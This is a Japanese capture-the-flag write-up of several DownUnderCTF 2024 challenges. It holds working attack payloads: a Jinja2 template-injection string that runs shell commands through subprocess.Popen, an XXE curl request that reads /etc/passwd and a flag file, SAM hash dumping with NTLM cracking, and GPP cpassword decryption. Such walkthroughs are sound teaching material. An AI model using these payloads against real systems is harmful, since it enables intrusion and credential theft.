<class 'itertools.accumulate'>, 
<class 'itertools.combinations'>, 
<class 'itertools.combinations_with_replacement'>, 
<class 'itertools.cycle'>, 
<class 'itertools.dropwhile'>, 
<class 'itertools.takewhile'>, 
<class 'itertools.islice'>, 
<class 'itertools.starmap'>, 
<class 'itertools.chain'>, 
<class 'itertools.compress'>, 
<class 'itertools.filterfalse'>, 
<class 'itertools.count'>, 
<class 'itertools.zip_longest'>, 
<class 'itertools.permutations'>, 
<class 'itertools.product'>, 
<class 'itertools.repeat'>, 
<class 'itertools.groupby'>, 
<class 'itertools._grouper'>, 
<class 'itertools._tee'>, 
<class 'itertools._tee_dataobject'>, 
<class 'operator.itemgetter'>, 
<class 'operator.attrgetter'>, 
<class 'operator.methodcaller'>, 
<class 'reprlib.Repr'>, 
<class 'collections.deque'>, 
<class '_collections._deque_iterator'>, 
<class '_collections._deque_reverse_iterator'>, 
<class '_collections._tuplegetter'>, 
<class 'collections._Link'>, 
<class 'functools.partial'>, 
<class 'functools._lru_cache_wrapper'>, 
<class 'functools.partialmethod'>, 
<class 'functools.singledispatchmethod'>, 
<class 'functools.cached_property'>, 
<class 're.Scanner'>, 
<class 'string.Template'>, 
<class 'string.Formatter'>, 
<class 'contextlib.ContextDecorator'>, 
<class 'contextlib._GeneratorContextManagerBase'>, 
<class 'contextlib._BaseExitStack'>, 
<class 'typing._Final'>, 
<class 'typing._Immutable'>, 
<class 'typing.Generic'>, 
<class 'typing._TypingEmpty'>, 
<class 'typing._TypingEllipsis'>, 
<class 'typing.Annotated'>, 
<class 'typing.NamedTuple'>, 
<class 'typing.TypedDict'>, 
<class 'typing.io'>, 
<class 'typing.re'>, 
<class 'ast.AST'>, 
<class 'markupsafe._MarkupEscapeHelper'>, 
<class '_weakrefset._IterationGuard'>, 
<class '_weakrefset.WeakSet'>, 
<class 'threading._RLock'>, 
<class 'threading.Condition'>, 
<class 'threading.Semaphore'>, 
<class 'threading.Event'>, 
<class 'threading.Barrier'>, 
<class 'threading.Thread'>, 
<class 'warnings.WarningMessage'>, 
<class 'warnings.catch_warnings'>, 
<class 'select.poll'>, 
<class 'select.epoll'>, 
<class 'selectors.BaseSelector'>, 
<class 'subprocess.CompletedProcess'>, 
<class 'subprocess.Popen'>, 
<class 'platform._Processor'>, 
<class '_socket.socket'>, 
<class 'array.array'>, 
<class 'socketserver.BaseServer'>, 
<class 'socketserver.ForkingMixIn'>, 
<class 'socketserver._NoThreads'>, 
<class 'socketserver.ThreadingMixIn'>, 
<class 'socketserver.BaseRequestHandler'>, 
<class 'datetime.date'>, 
<class 'datetime.time'>, 
<class 'datetime.timedelta'>, 
<class 'datetime.tzinfo'>, 
<class 'weakref.finalize._Info'>, 
<class 'weakref.finalize'>, 
<class '_random.Random'>, 
<class '_sha512.sha384'>, 
<class '_sha512.sha512'>, 
<class 'urllib.parse._ResultMixinStr'>, 
<class 'urllib.parse._ResultMixinBytes'>, 
<class 'urllib.parse._NetlocResultMixinBase'>, 
<class 'calendar._localized_month'>, 
<class 'calendar._localized_day'>, 
<class 'calendar.Calendar'>, 
<class 'calendar.different_locale'>, 
<class 'email._parseaddr.AddrlistClass'>, 
<class '_struct.Struct'>, 
<class '_struct.unpack_iterator'>, 
<class 'email.charset.Charset'>, 
<class 'email.header.Header'>, 
<class 'email.header._ValueFormatter'>, 
<class 'email._policybase._PolicyBase'>, 
<class 'email.feedparser.BufferedSubFile'>, 
<class 'email.feedparser.FeedParser'>, 
<class 'email.parser.Parser'>, 
<class 'email.parser.BytesParser'>, 
<class 'email.message.Message'>, 
<class 'http.client.HTTPConnection'>, 
<class '_ssl._SSLContext'>, 
<class '_ssl._SSLSocket'>, 
<class '_ssl.MemoryBIO'>, 
<class '_ssl.Session'>, 
<class 'ssl.SSLObject'>, 
<class 'mimetypes.MimeTypes'>, 
<class 'zlib.Compress'>, 
<class 'zlib.Decompress'>, 
<class '_bz2.BZ2Compressor'>, 
<class '_bz2.BZ2Decompressor'>, 
<class '_lzma.LZMACompressor'>, 
<class '_lzma.LZMADecompressor'>, 
<class 'ast.NodeVisitor'>, 
<class 'dis.Bytecode'>, 
<class 'tokenize.Untokenizer'>, 
<class 'inspect.BlockFinder'>, 
<class 'inspect._void'>, 
<class 'inspect._empty'>, 
<class 'inspect.Parameter'>, 
<class 'inspect.BoundArguments'>, 
<class 'inspect.Signature'>, 
<class 'traceback.FrameSummary'>, 
<class 'traceback.TracebackException'>, 
<class 'logging.LogRecord'>, 
<class 'logging.PercentStyle'>, 
<class 'logging.Formatter'>, 
<class 'logging.BufferingFormatter'>, 
<class 'logging.Filter'>, 
<class 'logging.Filterer'>, 
<class 'logging.PlaceHolder'>, 
<class 'logging.Manager'>, 
<class 'logging.LoggerAdapter'>, 
<class 'werkzeug._internal._Missing'>, 
<class 'werkzeug.exceptions.Aborter'>, 
<class 'werkzeug.urls.Href'>, 
<class '_hashlib.HASH'>, 
<class '_hashlib.HMAC'>, 
<class '_blake2.blake2b'>, 
<class '_blake2.blake2s'>, 
<class 'tempfile._RandomNameSequence'>, 
<class 'tempfile._TemporaryFileCloser'>, 
<class 'tempfile._TemporaryFileWrapper'>, 
<class 'tempfile.SpooledTemporaryFile'>, 
<class 'tempfile.TemporaryDirectory'>, 
<class 'urllib.request.Request'>, 
<class 'urllib.request.OpenerDirector'>, 
<class 'urllib.request.BaseHandler'>, 
<class 'urllib.request.HTTPPasswordMgr'>, 
<class 'urllib.request.AbstractBasicAuthHandler'>, 
<class 'urllib.request.AbstractDigestAuthHandler'>, 
<class 'urllib.request.URLopener'>, 
<class 'urllib.request.ftpwrapper'>, 
<class 'http.cookiejar.Cookie'>, 
<class 'http.cookiejar.CookiePolicy'>, 
<class 'http.cookiejar.Absent'>, 
<class 'http.cookiejar.CookieJar'>, 
<class 'werkzeug.datastructures.ImmutableListMixin'>, 
<class 'werkzeug.datastructures.ImmutableDictMixin'>, 
<class 'werkzeug.datastructures._omd_bucket'>, 
<class 'werkzeug.datastructures.Headers'>, 
<class 'werkzeug.datastructures.ImmutableHeadersMixin'>, 
<class 'werkzeug.datastructures.IfRange'>, 
<class 'werkzeug.datastructures.Range'>, 
<class 'werkzeug.datastructures.ContentRange'>, 
<class 'werkzeug.datastructures.FileStorage'>, 
<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, 
<class 'dataclasses._MISSING_TYPE'>, 
<class 'dataclasses._FIELD_BASE'>, 
<class 'dataclasses.InitVar'>, 
<class 'dataclasses.Field'>, 
<class 'dataclasses._DataclassParams'>, 
<class 'werkzeug.sansio.multipart.Event'>, 
<class 'werkzeug.sansio.multipart.MultipartDecoder'>, 
<class 'werkzeug.sansio.multipart.MultipartEncoder'>, 
<class 'importlib.abc.Finder'>, 
<class 'importlib.abc.Loader'>, 
<class 'importlib.abc.ResourceReader'>, 
<class 'pkgutil.ImpImporter'>, 
<class 'pkgutil.ImpLoader'>, 
<class 'hmac.HMAC'>, 
<class 'werkzeug.wsgi.ClosingIterator'>, 
<class 'werkzeug.wsgi.FileWrapper'>, 
<class 'werkzeug.wsgi._RangeWrapper'>, 
<class 'werkzeug.utils.HTMLBuilder'>, 
<class 'werkzeug.wrappers.accept.AcceptMixin'>, 
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>, 
<class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, 
<class '_json.Scanner'>, 
<class '_json.Encoder'>, 
<class 'json.decoder.JSONDecoder'>, 
<class 'json.encoder.JSONEncoder'>, 
<class 'werkzeug.formparser.FormDataParser'>, 
<class 'werkzeug.formparser.MultiPartParser'>, 
<class 'werkzeug.user_agent.UserAgent'>, 
<class 'werkzeug.useragents._UserAgentParser'>, 
<class 'werkzeug.sansio.request.Request'>, 
<class 'werkzeug.wrappers.request.StreamOnlyMixin'>, 
<class 'werkzeug.sansio.response.Response'>, 
<class 'werkzeug.wrappers.response.ResponseStream'>, 
<class 'werkzeug.wrappers.response.ResponseStreamMixin'>, 
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, 
<class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, 
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>, 
<class 'werkzeug.wrappers.etag.ETagResponseMixin'>, 
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, 
<class 'werkzeug.test._TestCookieHeaders'>, 
<class 'werkzeug.test._TestCookieResponse'>, 
<class 'werkzeug.test.EnvironBuilder'>, 
<class 'werkzeug.test.Client'>, 
<class 'decimal.Decimal'>, 
<class 'decimal.Context'>, 
<class 'decimal.SignalDictMixin'>, 
<class 'decimal.ContextManager'>, 
<class 'numbers.Number'>, 
<class 'uuid.UUID'>, 
<class '_pickle.Pdata'>, 
<class '_pickle.PicklerMemoProxy'>, 
<class '_pickle.UnpicklerMemoProxy'>, 
<class '_pickle.Pickler'>, 
<class '_pickle.Unpickler'>, 
<class 'pickle._Framer'>, 
<class 'pickle._Unframer'>, 
<class 'pickle._Pickler'>, 
<class 'pickle._Unpickler'>, 
<class 'jinja2.bccache.Bucket'>, 
<class 'jinja2.bccache.BytecodeCache'>, 
<class 'jinja2.utils.MissingType'>, 
<class 'jinja2.utils.LRUCache'>, 
<class 'jinja2.utils.Cycler'>, 
<class 'jinja2.utils.Joiner'>, 
<class 'jinja2.utils.Namespace'>, 
<class 'jinja2.nodes.EvalContext'>, 
<class 'jinja2.nodes.Node'>, 
<class 'jinja2.visitor.NodeVisitor'>, 
<class 'jinja2.idtracking.Symbols'>, 
<class 'jinja2.compiler.MacroRef'>, 
<class 'jinja2.compiler.Frame'>, 
<class 'jinja2.runtime.TemplateReference'>, 
<class 'jinja2.runtime.Context'>, 
<class 'jinja2.runtime.BlockReference'>, 
<class 'jinja2.runtime.LoopContext'>, 
<class 'jinja2.runtime.Macro'>, 
<class 'jinja2.runtime.Undefined'>, 
<class 'jinja2.lexer.Failure'>, 
<class 'jinja2.lexer.TokenStreamIterator'>, 
<class 'jinja2.lexer.TokenStream'>, 
<class 'jinja2.lexer.Lexer'>, 
<class 'jinja2.parser.Parser'>, 
<class 'jinja2.environment.Environment'>, 
<class 'jinja2.environment.Template'>, 
<class 'jinja2.environment.TemplateModule'>, 
<class 'jinja2.environment.TemplateExpression'>, 
<class 'jinja2.environment.TemplateStream'>, 
<class 'jinja2.loaders.BaseLoader'>, 
<class 'werkzeug.local.Local'>, 
<class 'werkzeug.local.LocalStack'>, 
<class 'werkzeug.local.LocalManager'>, 
<class 'werkzeug.local._ProxyLookup'>, 
<class 'werkzeug.local.LocalProxy'>, 
<class 'difflib.SequenceMatcher'>, 
<class 'difflib.Differ'>, 
<class 'difflib.HtmlDiff'>, 
<class 'pprint._safe_key'>, 
<class 'pprint.PrettyPrinter'>, 
<class 'werkzeug.routing.RuleFactory'>, 
<class 'werkzeug.routing.RuleTemplate'>, 
<class 'werkzeug.routing.BaseConverter'>, 
<class 'werkzeug.routing.Map'>, 
<class 'werkzeug.routing.MapAdapter'>, 
<class 'gettext.NullTranslations'>, 
<class 'click._compat._FixupStream'>, 
<class 'click._compat._AtomicFile'>, 
<class 'click.utils.LazyFile'>, 
<class 'click.utils.KeepOpenFile'>, 
<class 'click.utils.PacifyFlushWrapper'>, 
<class 'click.types.ParamType'>, 
<class 'click.parser.Option'>, 
<class 'click.parser.Argument'>, 
<class 'click.parser.ParsingState'>, 
<class 'click.parser.OptionParser'>, 
<class 'click.formatting.HelpFormatter'>, 
<class 'click.core.Context'>, 
<class 'click.core.BaseCommand'>, 
<class 'click.core.Parameter'>, 
<class 'flask.signals.Namespace'>, 
<class 'flask.signals._FakeSignal'>, 
<class '__future__._Feature'>, 
<class 'zipfile.ZipInfo'>, 
<class 'zipfile.LZMACompressor'>, 
<class 'zipfile.LZMADecompressor'>, 
<class 'zipfile._SharedFile'>, 
<class 'zipfile._Tellable'>, 
<class 'zipfile.ZipFile'>, 
<class 'zipfile.Path'>, 
<class 'pathlib._Flavour'>, 
<class 'pathlib._Accessor'>, 
<class 'pathlib._Selector'>, 
<class 'pathlib._TerminatingSelector'>, 
<class 'pathlib.PurePath'>, 
<class 'zipp.glob.Translator'>, 
<class 'zipp.InitializedState'>, 
<class 'zipp.SanitizedNames'>, 
<class 'zipp.Path'>, 
<class 'textwrap.TextWrapper'>, 
<class 'importlib_metadata._compat.NullFinder'>, 
<class 'importlib_metadata.Sectioned'>, 
<class 'importlib_metadata.EntryPoint'>, 
<class 'importlib_metadata.FileHash'>, 
<class 'importlib_metadata.Distribution'>, 
<class 'importlib_metadata.DistributionFinder.Context'>, 
<class 'importlib_metadata.FastPath'>, 
<class 'importlib_metadata.Lookup'>, 
<class 'importlib_metadata.Prepared'>, 
<class 'flask.cli.DispatchingApp'>, 
<class 'flask.cli.ScriptInfo'>, 
<class 'flask.config.ConfigAttribute'>, 
<class 'flask.ctx._AppCtxGlobals'>, 
<class 'flask.ctx.AppContext'>, 
<class 'flask.ctx.RequestContext'>, 
<class 'flask.scaffold.Scaffold'>, 
<class 'itsdangerous.signer.SigningAlgorithm'>, 
<class 'itsdangerous.signer.Signer'>, 
<class 'itsdangerous._json._CompactJSON'>, 
<class 'flask.json.tag.JSONTag'>, 
<class 'flask.json.tag.TaggedJSONSerializer'>, 
<class 'flask.sessions.SessionInterface'>, 
<class 'flask.blueprints.BlueprintSetupState'>, 
<class 'unicodedata.UCD'>]

<class 'subprocess.Popen'>のインデックスは213。
以下のように入力してみる。

{{().__class__.__base__.__subclasses__()[213]('ls -l',shell=True,stdout=-1).communicate()}}

以下のように返ってきた。

(b'total 20\n-rw-r--r-- 1 root root 625 Jul 4 15:47 app.py\n-rw-r--r-- 1 root root 34 Jul 4 15:47 flag\n-rw-r--r-- 1 root root 29 Jul 4 15:47 requirements.txt\ndrwxr-xr-x 3 root root 4096 Jul 4 15:47 static\ndrwxr-xr-x 2 root root 4096 Jul 4 15:47 templates\n', None)

以下のように入力してみる。

{{().__class__.__base__.__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()}}

以下のように返ってきた。

(b'DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}', None)
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Sun Zi's Perfect Math Class (beginner) [crypto]

要約すると、以下のような内容になっている。

1,000人から1,100人の兵士が戦いを生き延びたと推定しましたが、
正確に何人の兵士がいたかを知る必要がありました。

兵士が3列に並ぶと、2人の兵士が余ります。
5列に並ぶと、4人の兵士が余ります。
7列に並ぶと、5人の兵士が余ります。

これから兵士が何人残っているかを知った。

これは中国人剰余定理の話である。

>>> crt([3, 5, 7], [2, 4, 5])
(mpz(89), 105)

>>> 1100// 105
10

105を10倍して89を足すと、1100をオーバーするので、もう一つ下の数になる。

>>> 105 * 9 + 89
1034

この答えを入力し、Submitボタンを押すと、次の問題が現れた。

e = 3

c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637

c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737

c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659

n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693

n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403

n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817

RSA暗号のHastad's Broadcast Attackの問題であるが、中国人剰余定理を使っているので、1問目の延長線上にある問題である。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

e = 3

c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637

c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737

c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659

n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693

n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403

n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817

ns = [n_1, n_2, n_3]
cs = [c_1, c_2, c_3]
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
print(m)

結果mは以下の通りとなる。

11564025922867522871782912815123211630478650327759091593792994457296772521676766420142199669845768991886967888274582504750347133

この答えを入力し、Submitボタンを押すと、フラグが現れた。

DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}

zoo feedback form (beginner) [web]

XXEの問題。試しに a と入力して、Submitすると、以下のデータが送信される。

<?xml version="1.0" encoding="UTF-8"?>
            <root>
                <feedback>a</feedback>
            </root>

/etc/passwdを読んでみる。

$ curl -H 'Content-Type: application/xml' https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev/ -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><feedback>&xxe;</feedback></root>'
<div style="color:green;">Feedback sent to the Emus: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</div>

flag.txtを読んでみる。

$ curl -H 'Content-Type: application/xml' https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev/ -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]><root><feedback>&xxe;</feedback></root>' 
<div style="color:green;">Feedback sent to the Emus: DUCTF{emU_say$_he!!0_h0!@_ci@0}
</div>
DUCTF{emU_say$_he!!0_h0!@_ci@0}

shufflebox (crypto)

同じインデックスの文字に変わってるはず。

aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiud

例えば、1文字目は1行目がc、2行目がbになっているので、元の文字列でその場所を探す。10文字目がそうなっているので、最後の元の文字の10文字目はoとなる。同じようにして元の文字を作っていく。

aaaabbbbccccdddd
abcdabcdabcdabcd
udiditgjwowsuper
DUCTF{udiditgjwowsuper}

discord (misc)

Discordに入り、#team-searchチャネルのメッセージを見ると、フラグの破片があった。

DUCTF{f1r57

さらに#opt-in-updatesチャネルのメッセージを見ると、フラグのも一つの破片があった。

_0f_m4ny}
DUCTF{f1r57_0f_m4ny}

offtheramp (osint) [beginner]

$ exiftool offtheramp.jpeg 
ExifTool Version Number         : 12.76
File Name                       : offtheramp.jpeg
Directory                       : .
File Size                       : 1333 kB
File Modification Date/Time     : 2024:07:05 22:28:12+09:00
File Access Date/Time           : 2024:07:05 22:29:30+09:00
File Inode Change Date/Time     : 2024:07:05 22:28:12+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Exif Version                    : 0210
Flashpix Version                : 0100
Color Space                     : Uncalibrated
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : South
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2
GPS Altitude                    : 35 m Above Sea Level
GPS Latitude                    : 38 deg 9' 15.95" S
GPS Longitude                   : 145 deg 6' 29.69" E
GPS Position                    : 38 deg 9' 15.95" S, 145 deg 6' 29.69" E

緯度・経度がわかるので、Google Mapで調べる。

38°9'15.95"S 145°6'29.69"E

この桟橋のようなものの近くには以下のように書いてある。

Olivers Hill Boat Ramp
DUCTF{Olivers_Hill_Boat_Ramp}

Bridget Lives (osint) [easy]

橋にフォーカスして画像検索すると、以下のページなどが見つかった。

https://www.marriott.com/ja/hotels/sinfp-four-points-singapore-riverview/events/

このページにリンクされているマップを表示させる。航空写真にして、該当する橋を見てみると、その名前はRobertson Bridgeとなっている。
この橋は窓越しに上記のページのホストである以下のホテルから撮影されたと推測できる。

Four Points by Sheraton Singapore
DUCTF{Four_Points_by_Sheraton_Singapore}

Baby's First Forensics (forensics) [beginner]

pcapからサイバー攻撃者が使っていたツールとそのバージョンを答える問題。
HTTPの通信が多い。GETメソッドのUser-Agentが以下のようになっている。

Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:getinfo)
DUCTF{Nikto_2.1.6}

SAM I AM (forensics) [beginner]

SAMファイルとSYSTEMファイルのバックアップが添付されているので、パスワードをクラックする問題。
まずパスワードハッシュを取得する。

$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.12.0.dev1+20240626.193148.f827c8c7 - Copyright 2023 Fortra

[*] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up..

AdministratorのNTLMハッシュは以下の通りであることがわかる。

476b4dddbbffde29e739b618580adb1e

CrackStationでクラックすると、パスワードは以下の通り。

!checkerboard1
DUCTF{!checkerboard1}

Bad Policies (forensics) [beginner]

rebels.ductf\Policies\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\Groups.xmlに以下のように書いてある。

cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"

この暗号方式は公開されている。暗号方式はAES-CBC。key, ivもわかっているので、それを使って復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from base64 import b64decode

def unpad(s):
    return s[:-s[-1]]

cpassword = 'B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2'
while True:
    if len(cpassword) % 4 == 0:
        break
    else:
        cpassword += '='

password = b64decode(cpassword)

key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(' ', '').replace('\n', '')
key = bytes.fromhex(key)

cipher = AES.new(key, AES.MODE_CBC, b'\x00' * 16)
flag = unpad(cipher.decrypt(password)).replace(b'\x00', b'').decode()
print(flag)
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

Macro Magic (forensics) [easy]

マクロコードを確認する。

$ olevba Monke.xlsm   
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: Monke.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 




' Totally Not Malware












' Try Harder








' Are you Monkey Enough!












Public Function anotherThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    anotherThing = A
End Function







' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!







Public Function importantThing()
    Dim tempString As String
    Dim tempInteger As Integer
    Dim I As Integer
    Dim J As Integer
    For I = 1 To 5
        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
    Next I
    For I = 1 To 5
        For J = I + 1 To 5
            If Cells(J, 2).Value < Cells(I, 2).Value Then
                tempString = Cells(I, 1).Value
                Cells(I, 1).Value = Cells(J, 1).Value
                Cells(J, 1).Value = tempString
                tempInteger = Cells(I, 2).Value
                Cells(I, 2).Value = Cells(J, 2).Value
                Cells(J, 2).Value = tempInteger
            End If
        Next J
    Next I
End Function














' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=














Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function












